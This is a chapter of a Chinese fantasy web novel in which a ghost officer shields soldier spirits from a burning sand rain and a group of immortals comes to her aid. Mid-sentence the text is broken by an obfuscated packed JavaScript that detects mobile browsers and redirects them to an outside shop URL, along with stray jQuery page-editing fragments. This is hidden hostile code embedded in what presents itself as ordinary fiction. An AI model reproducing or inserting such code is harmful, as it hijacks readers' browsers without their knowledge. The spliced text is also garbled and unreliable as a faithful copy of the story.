276. 无垠黄沙接阴魂3
作品:《谁家好仙跑去地府打工》 砰——!!
正中第五茗怀中的尸瓮,瞬间,将士鬼魂散落在地。
与此同时,黄沙火雨也落了下来…
“啊!!”
“烫…烫…”
“这…这是怎了?”
“你冒烟了。”
“你胸口有一个洞。”
“啊…”
“烫…烫…”
“大人说了,不能闹…呜…呜呜!!”
“嗯…呜呜呜…”
…
尸瓮碎裂,鬼魂没有阴气之物庇护,更没有神力傍身,受烈日暴晒,黄沙火雨猛砸,纷纷闷叫不停。
见状,第五茗看了眼碎在怀中和地上的尸瓮,脑海里疯狂转动,道:“大人,这不是寻常落石,多半和此地的黄沙火雨,以及那盘踞在此的大妖有关,我需要用通印,您来我身边…大人!恶妖!!放开蓟大人!!!”
一阵银铃震响,绚烂的彩纱卷过,此地更加糟乱。
鬼魂倒地,遍布都是,只那光芒万丈之人,已没了踪影。
第五茗顶着热风火沙眺望远处,似要追回消失的两抹身影,奈何耳边充斥着将士鬼魂的惨叫,把她的理智拉了回来。
蓟安塬有通印傍身,大妖取不了他的性命,反而是这群将士魂魄,无遮无蔽,再被烈日和热沙烤一会儿,估计都得灰飞烟灭。
银牙一咬,不敢懈怠,她紧着眼下的情况,倒水锤雷,打算为地上的一众鬼魂,纾解炙热。
然而,这片黄沙地,犹如一个无底洞,吞了一口又一口的冰水,半空的黄沙火雨不见消减,冰水有限,根本解决不了眼下困境,顶多再撑一个时辰,这万名将士鬼魂依旧会被烤成一缕烟。
第五茗察觉出此法不可行,立即脑海翻涌,思忖其他路子。
抬手落下冰水的间隙,她发现即便没有冰水落在身上,自己有冥钱黄纸遮挡,倒没有将士们那般难捱,心中顿生主意,拍唤爻仁,掏出了囊内的符纸。
这些可都是隗晎亲手所绘,不论作用如何,都堪当一张冥钱黄纸。
于是,她一边降下冰水解热,一边游走在将士之间,分发符纸。
效果显著,得了符纸的将士,慢慢地不再呻吟,帮着她一道救助仍在受苦的鬼魂,并有秩序地如在沙堆地时一样,列阵而站。
第五茗指挥道:“不要消耗体力,都背阳坐下,尽可能相互之间,遮挡风沙。”
将士们听她号令,形成聚合之势,抵挡烈日风沙,坐了下来。
第五茗继续分发着符纸…
说来也凑巧,自万善庄,隗晎见她使用符纸过于豪气,只要有空,不管她有没有使用爻仁内的符纸,都会为她绘制一叠,存放进去。
一年几千张…一年几千张…
又因后续她任职在京都城隍庙,许多事都不需要亲自出手,爻仁里,竟叫她攒下了九万九千多张符纸。
然,符纸也仅有九万九千余。
这将士鬼魂却有十万…九万九千多张符纸根本就不够。
半晌,便无一剩余。
这时,玉瓶内的蓬莱雨水也耗得一干二净…
第五茗扯开爻仁的袋口,翻转过来,倒了又倒,落下了一堆东西,又伸手入囊内,掏了又掏,就是再也找不出一张可用的符纸。
不多时,冰水被热气烤尽,那几百名将士鬼魂,终是忍不住了,大喊出口:
“疼…”
“烫!!”
“这是要烧死我们吗?”
“要被烧死了!”
“热!!”
一边叫着,一边爬着,因为有蓟安塬为他们敛了尸骨,又未立铭牌碑,他们不受禁制,现下,又无常的索命钩束缚,霎时间,凭着本能向四周逃了去,努力地想逃出这片黄沙火雨之地。
见状,第五茗着急地,脱口而出道:“想想办法,爻仁!”
歘——
瘪瘪的爻仁,一口气吐出了囊内所有法器。
第五茗道:“我是要救他们,不是要杀他们。”
突然,爻仁又吐了一样东西…
招魂幡。
顾名思义,是一面招魂的旗帜。
第五茗神思一转,明白了爻仁的用意,赞道:“你还真随他,有点小聪明嘛。”
祭幡招魂,她身为鬼差,这的确是她唯一可实操的法子。
可是,这招魂幡使用,有些特别,需要有灵气的东西加注在上面,才能吸引鬼魂,号令鬼魂。
她带到蓟安塬面前的那张万名幡,乃是将士亲友和后人,一世念力所铸,而她眼下要用这张招魂幡号令数百鬼魂,同样,也是要给点东西的。
蹲下身,对着那堆法器挑挑拣拣,一段红发带飘入了她眼眸。
蓦地,顺那眼红发带看去,她瞧见了袖口下若隐若现泛白的伤口,略有迟疑,扫了一圈乌泱泱一片盘坐在地的将士,她将法器搂了搂,全收进了爻仁囊内,独留了那块招魂幡铺在身前。
她低语道:“生因必结果,你们…还是不要再掺和了。”
像是在宽慰自己,她一边呢喃,一边单手解松了发带,让发带束在手上,却不止血。
沿腕线而走,没多久,她整只手沾满了血,俯身向前,她把剩余的这微末鲜血,全点在了招魂幡上。
有了灵气的招魂幡,无号自启,浮在了半空。
第五茗站起身,正准备驱动招魂幡,找寻逃窜的将士鬼魂,忽然,招魂幡后传来了焦急的呼唤。
“姐姐!”
“上君?!”
“上君…”
这声音有男有女,有重有淡,无不饱含着一份担忧。
第五茗心中细数,不多不少,正好有九声。
尚未待她辨认,金光突现,九道穿着端正仙袍的身躯,落定在她旁侧。
第五茗没有通印庇护,唯一一张冥钱黄纸遮身,还要抵抗黄沙火雨,根本分不出神力为她掩挡这近在咫尺的金光。
她抬起大袖,闪躲道:“此地有鬼魂,你们身体应当是恢复得差不多了,都御法护身,速速收起金光。”
来人,正是天界那一批仙君。
听见她的话,九人纷纷收了护体金光,转而引出法力,防御这黄沙火雨。
第五茗瞥见袖端金光隐没,放下手,问道:“你们怎么来了?隗七叫你们来的?”
溪亖音一个猛扑,撞得第五茗摇摇晃晃,她抱住第五茗受伤的那只胳膊,道:“才不是,小晎哥哥还在陪天帝喝酒呢。”
凉离上前,揖了一礼,道:“是小音和甘歌察觉到上君使用他们的法器了。”
南泥抱起双臂,昂首道:“我们也感应到上君将法器丢进这怪界里了。”
第五茗好似有些失落,道:“原来如此。”
乐正词媿清秀的眉头拧了拧,道:“上君解了通印,帝君自是察觉不到的。”
溪亖音五官皱成一团,靠在第五茗肩头,鼻尖嗅了又嗅,不安道:“姐姐,你身上好重的血气味…”
第五茗一怔,被她抱住的手僵在原地。
她抿了抿唇,目光一转,落在宋世平和杨战息二人的方向,盯着宋世平,转移话题道:“你身体怎么样了?”
杨战息一把揽过宋世平,笑道:“我日日守着养的,司命府落笔也是我时时瞧着的,他没问题了。”
第五茗点点头。
宋世平耳根微红,缓台双手,抱了一礼,道:“有劳上君挂怀,无碍了。”
南泥嗤了一声,调侃道:“不仅人没事了,他们两兄弟那一直别扭的劲儿,这回也给治好了,真是因祸得福。”
溪亖音瞪了南泥一眼,嘟囔道:“你又在那里瞎吃什么醋,人家是亲兄弟,你有我不就够了吗?”
闻言,第五茗愣愣地在溪亖音和南泥身上来回流转。
南泥挠挠头,害羞道:“都在呢…”
溪亖音抱住第五茗蹭了蹭,娇嗔道:“在才好呢,免得向龙君那样,专程赶着去发喜帖。”
半仰起头,她羞赧道:“姐姐,待你和小晎哥哥有空,便可为我和南泥张罗张罗了。”
路了绿兴奋道:“我也要帮忙!”
珪光往路了绿身旁靠了靠,小声道:“我也一起吧,人多力量大。”
张罗?
张罗什么…
还有那个机会吗?
第五茗因为溪亖音的这番话,蓦地丢了心神。
一旁,杨战息笑道:“小音,你是女孩子,多学学乐正,矜持点。”
溪亖音凌空蹬一脚去,道:“要你管。”
南泥早激动过头,一把锁了杨战息的脖子,威胁道:“别坏我好事,否则,别怪我对宋世平下手。”
乐正词媿摇了摇头,淡淡地道:“什么情况了,还有时间说笑,瞧瞧你们的身后。”
闻言,他们齐齐转身。
落入眼帘的那乌泱泱的蹲地休憩的将士鬼魂。
甘歌也在他们身后,他手中正拿着那面第五茗刚祭喂出灵气的招魂幡。
众人皆是一愣。
甘歌道:“上君,可需要帮忙?”
第五茗没了这群人遮挡眼前视线,看见在黄沙火雨里正难受的将士,顿时回神,道:“嗯!你们能从这地方出去吗?帮我把他们带出去。”
凉离立即响应,双手开始结印施术,随着金辉从他手中释出,过了一会儿,又从远处被回弹到指尖冲散。
他摇了摇头,道:“方圆千里,为一结界包裹,穿行之术,不可行。”
第五茗好像并不意外,点点头,小心翼翼地从溪亖音怀里抽出手,走向甘歌,拿走那一面招魂幡,道:“你们怎么进来的?”
乐正词媿道:“探寻到上君的方位,从天界直接下来的。”
第五茗半仰头道:“原来是这一条路没有被封啊。”
凉离分析道:“鬼魂非召不得入天,除非…”
甘歌补充道:“飞升。”
乐正词媿扫了眼这九万余名将士鬼魂,道:“要不找帝君来?”
第五茗低下头,检查招魂幡,道:“不用了。”
确认无误,她抬头道:“我还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930376|171191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有一个忙需要你们帮的。”
伸手接了一掌黄沙,她蹙眉地抖了抖手,将被火雨灼伤的掌心,亮给他们看,道:“这沙雨很奇怪,你们在其摆阵,帮我护一护他们,我这里刚刚走丢了几百名将士,眼下,需得去把他们找回来。”
路了绿道:“上君,我有路签,我帮你一起找。”
第五茗拒绝道:“太慢了。”
扬了扬手中的招魂幡,她道:“护好他们,我方能心无旁骛,尽快处理完。”
这时,珪光惊叫一指,道:“上君,你受伤了。”
众人沿他手指的方向看了过去,第五茗举招魂幡的手腕,有一截红色发带飘扬出袖口,而在那袖口的遮掩下,有两条触目惊心的伤痕。
伤痕腐而不合,口子外有深红色的污痕,口子里却干干涸涸。
珪光眸色仓皇,上前半步,道:“腐桑叶,这伤…是上君自己弄的?”
第五茗连忙放下手,扯下袖子,道:“没什么,放了点血,你们又不是不知道,我喜欢这么做。”
其他人正欲再说点什么,乐正词媿与第五茗有过西面小镇经历,别头,再度把视线落在那一群将士鬼魂身上。
她懂第五茗的所想所行,微叹一声,抢在众人之前,道:“上君但去吧,这里你放心,有我们。”
第五茗颔首道:“嗯,辛苦了。”
说罢,她拿着招魂幡,消失在了风沙里。
溪亖音道:“姐姐那伤口看着好严重…”
珪光掏出了一袋子草药,道:“上君也不说先疗伤。”
凉离安慰两人,柔笑道:“上君有分寸。”
南泥双手不知何时放了下来,双拳紧握,颤抖道:“有分寸?凉离,你不是也看清楚了吗?那伤口里…什么都没有了。”
溪亖音双眼瞪大,惊恐道:“什么意思?什么叫什么也没有了?你们看见什么了?”
乐正词媿冷冷地道:“上君叫我们护这一群鬼魂,没人阻止,你们可自己选,去找上君,还是留在这里完成上君交代的事。”
一片静默,无人言语。
甘歌道:“摆阵吧。”
乐正词媿抽出腰间软剑,左手两指凝法,道:“有些事,藏在心底,比问出来要好。”
顿了顿,她踟蹰道:“至少…我们不是上君需要被隐瞒的那人。”
语毕,她执剑向鬼魂之处走去。
凉离笑了笑,幻出佛珠,道:“乐正总是比我们更冷静,不愧是受过天权星君教导。”
颔首示意甘歌,他们二人一起跟了上去。
宋世平和杨战息各自抽出了佩剑和长刀,一脸沉重,尾随而上。
珪光低头看着手中的药丸子,这时一只手伸了过来,是路了绿拉了他的手。
路了绿道:“走吧。”
不多时,便只剩下最后两人了。
溪亖音早在原地哭成了一个泪人。
南泥纠结了一番,最终一转身,牵起溪亖音的手,跟上前方几人,道:“这么多劫难都过来了,上君肯定早有打算,许是我看错了。”
他不知不觉间,将溪亖音的手越拽越紧。
溪亖音吃疼道:“南泥,姐姐…是不是要离开我们了…”
南泥摇头道:“我不知道。”
溪亖音抽泣道:“姐姐究竟是丢了什么?我可不可以补给她?”
南泥一怔,道:“我刚刚都说了,可能是我看错了…”
溪亖音举起二人交握的手,道:“握得再紧,这也只是我的手。”
南泥低震道:“我知道。”
溪亖音彻底放声大哭,同南泥一起上前与九人列阵。
她的哭声,实在是震耳欲聋。
那群将士坐立难安,因得了令在身,他们不敢探头张望,只能听着哭声远远地传来,以及时不时从别的方向,夹杂而来的几声叹息。
他们感同身受地,心里开始有些发堵。
然而,随着哭声渐渐淡去,不知为何,他们身体上飘落的黄沙逐渐越来越凉,最后,难熬的炙热居然消失殆尽。
他们喜不自禁地,有点期盼哭声不要停止。
正在这时,一道凌厉的质问,震天动地。
“上君在哪里!!”
列阵的九人,浑身一顿。
溪亖音眼泪止在睫羽下,她抬头望向黄沙中隐现的苍碧玉珠冠,道:“小晎哥哥?”
宋世平呢喃道:“帝君?”
杨战息道:“除了他,还能有谁。”
凉离看着眼前的鬼魂,摇了摇头,道:“这忙,多半也是出不上什么力了。”
甘歌道:“总会有出力的时候。”
路了绿道:“要收阵吗?”
珪光道:“好像不热了…”
乐正词媿瞥见青云锦袍的衣角,清醒道:“还是来了。”
黄沙簌簌溅落,火雨不复,阴气四布,此地不再是炙热炼狱。
南泥哆嗦了一下,气不打一处,揶揄道:“天帝的酒宴,是叫你吃醉了吗?这般大的火气!”

